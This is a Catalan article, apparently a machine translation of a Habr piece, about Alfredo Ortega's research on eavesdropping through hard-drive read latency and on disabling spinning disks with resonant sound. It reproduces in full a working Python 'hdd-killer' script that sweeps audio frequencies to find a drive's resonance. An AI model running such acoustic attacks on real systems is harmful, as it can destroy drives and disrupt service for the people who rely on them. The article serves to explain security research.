Per què no pots cridar al teu disc dur

Per què no pots cridar al teu disc dur

A la conferència de seguretat informàtica Ekoparty 2017 a Buenos Aires, el pirata informàtic argentí Alfredo Ortega va mostrar un desenvolupament molt interessant: un sistema d'escoltes encobertes de locals sense utilitzar un micròfon. So gravat directament al disc dur!

L'HDD capta principalment sons de baixa freqüència d'alta intensitat, passos i altres vibracions. La parla humana encara no es pot reconèixer, encara que els científics estan fent investigacions en aquesta direcció (reconeixement de la veu per vibracions de baixa freqüència, que es registren, per exemple, des d'un giroscopi o HDD).

El so és la vibració de l'aire o un altre mitjà. Una persona els percep a través del timpà, que transmet vibracions a l'oïda interna. El micròfon està dissenyat aproximadament com una orella; aquí també les vibracions s'enregistren mitjançant una membrana fina, que excita un impuls elèctric. El disc dur, per descomptat, també està subjecte a vibracions microscòpiques a causa de les fluctuacions de l'aire circumdant. Això se sap fins i tot per les característiques tècniques dels HDD: els fabricants solen indicar el nivell de vibració màxim permès i el propi disc dur sovint intenta col·locar-lo en un contenidor a prova de vibracions fet de cautxú o un altre material aïllant. A partir d'això, és fàcil concloure que els sons es poden gravar amb el disc dur. Només queda esbrinar com.

Alfredo Ortega va proposar una versió única d'un atac de canal lateral, és a dir, un atac de temps. Aquest atac es basa en el supòsit que es realitzen diferents operacions al dispositiu en diferents moments, depenent de les dades d'entrada proporcionades. En aquest cas, les "dades d'entrada" són les vibracions del capçal de lectura i el plat de HDD, que es correlacionen amb les vibracions de l'entorn, és a dir, amb el so. Així, mesurant el temps de càlcul i realitzant una anàlisi estadística de les dades, es poden mesurar les vibracions del capçal/plat i per tant les vibracions del medi. Com més gran sigui el retard en la lectura de les dades, més fortes seran les vibracions del disc dur i, per tant, més fort serà el so.

Com mesurar la vibració del disc dur? Molt senzill: només cal executar la trucada al sistema read () — i registreu el temps que triga a completar-se. Els sistemes operatius moderns us permeten llegir el temps de les trucades al sistema amb una precisió de nanosegons.

La velocitat de lectura de la informació d'un sector depèn de la posició del capçal i del plat, que es correlaciona amb les vibracions de la carcassa del disc dur. Això és tot.

L'anàlisi estadística es realitza mitjançant una senzilla utilitat Kscope. Com diuen, tot enginyós és senzill.

Per què no pots cridar al teu disc dur
Utilitat Kscope (stat() syscall)

Kscope és una petita utilitat per visualitzar petites diferències en els temps d'execució de trucades del sistema. Fontопубликован a GitHub.

En un repositori separat Temps de disc dur hi ha una versió de la utilitat configurada per a un atac de temps al disc dur, és a dir, configurada per analitzar la trucada del sistema read ().

Demostració d'enregistrament de so mitjançant HDD, funcionament de la utilitat Kscope


Per descomptat, la parla no es pot entendre d'aquesta manera, però el HDD és bastant adequat com a sensor de vibració. Per exemple, podeu registrar-vos si una persona amb sabates dures o descalça va entrar a una habitació amb un ordinador (probablement, si l'atacant porta sabatilles d'esport suaus o hi ha una catifa gruixuda al terra, el disc dur no podrà registrar vibracions). val la pena comprovar-ho). L'ordinador és capaç de registrar vidres trencats o altres incidents amb una forta intensitat de so. És a dir, el disc dur pot servir com una mena de sistema de detecció d'intrusions no autoritzat.

Assassí HDD

Per cert, es pot utilitzar una tècnica similar per desactivar els discs durs. Només aquí no eliminem les oscil·lacions del HDD, sinó que, al contrari, generem oscil·lacions que s'alimenten al HDD. Si reproduïu so des d'un altaveu a una freqüència que ressona amb la freqüència de l'HDD, el sistema aviat apaga el dispositiu amb un error d'E/S (el nucli de Linux apaga completament l'HDD després de 120 segons). El propi disc dur pot patir danys irreversibles.

Per què no pots cridar al teu disc dur
El nucli de Linux va apagar el disc dur després de 120 segons de lliurar so a una freqüència de ressonància a través de l'altaveu de l'altaveu USB Edifier r19u. L'altaveu s'encén a aproximadament una quarta part de la potència (menys de 100 mW) i està situat a 20 cm del HDD, dirigit a la taula per millorar les vibracions. Marc de vídeo amb una demostració de l'assassí HDD

És curiós que aquests "atacs" als HDD es produeixin de vegades completament per accident a la vida quotidiana. Per exemple, el setembre de 2016, el centre de dades d'ING Bank es va veure obligat a suspendre les operacions durant 10 hores després d'un simulacre d'incendi. Han fallat desenes de discs durs a causa del fort so del gas inert que s'allibera dels cilindres a alta pressió. El so era molt fort (més de 130 dB), però ni tan sols podeu cridar als discs durs; això augmenta el retard en l'accés al disc dur.

Demostració de crits humans als discs durs en un centre de dades. Mesura de la latència


Per generar el so ressonant, Alfredo Ortega va escriure un script Python anomenat hdd-assassin (vídeo demostració).

Script killer de HDD És bastant petit, així que el podeu publicar sencer aquí.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Font: www.habr.com

Afegeix comentari